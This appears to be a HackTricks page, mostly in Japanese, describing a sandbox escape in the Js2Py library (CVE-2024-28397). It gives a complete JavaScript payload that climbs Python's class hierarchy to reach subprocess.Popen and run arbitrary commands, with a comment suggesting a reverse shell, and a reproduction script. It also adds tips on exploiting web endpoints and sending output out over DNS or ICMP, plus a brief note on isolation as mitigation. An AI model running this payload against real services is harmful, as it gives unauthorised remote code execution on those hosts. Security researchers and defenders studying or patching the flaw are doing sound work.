Js2Py sandbox escape (CVE-2024-28397)

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Js2Py は JavaScript を Python オブジェクトに変換するため、js2py.disable_pyimport() を使用していても、信頼できない JS が Python の内部を横断して subprocess.Popen のような危険なクラスに到達することができます。バージョン 20.74 では、Js2Py が JS オブジェクトに公開している Python のリフレクション原始操作を悪用して、本来「サンドボックス化」された JavaScript から RCE を取得できます。

Primitive: pivot from JS object wrappers to Python objects

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: grab .__getattribute__ from that object and call it to read arbitrary attributes (e.g., "__class__").
  3. Climb to object: from <class 'dict_keys'> read .__base__ to reach Python’s base object.
  4. Enumerate loaded classes: call object.__subclasses__() to walk every class already loaded in the interpreter.
  5. Find subprocess.Popen: recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen".
  6. Execute a command: instantiate Popen with attacker-controlled arguments and invoke .communicate() to capture output.
subprocess.Popen に到達するために Js2Py を悪用するサンプルペイロード ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

これが有効な理由: Js2PyはPythonオブジェクトラッパーをJSに公開しますが、`__getattribute__`、`__class__`、`__base__`、`__subclasses__`を削除しません。`disable_pyimport()`は明示的な`pyimport`のみをブロックしますが、上記のチェーンは新たに何かをインポートすることはなく、既にロードされたモジュールやクラスをメモリ内で再利用します。

## チェーンをローカルで再現する
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Webサンドボックスへの対処

  • 攻撃者が制御するJSを js2py.eval_js に渡すエンドポイント（例えば、Flaskの /run_code API）は、プロセスの実行ユーザーがシェルアクセスを持っている場合、即座にRCEになる。
  • .communicate() が bytes を返すと jsonify({'result': result}) は失敗する；シリアライズの阻害を避けるためにデコードするか、出力をDNS/ICMPに送る。
  • disable_pyimport() はこのチェーンを緩和しない；ハードな隔離（別プロセス／コンテナ）か、信頼されていないコードをJs2Pyで実行させないようにする必要がある。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする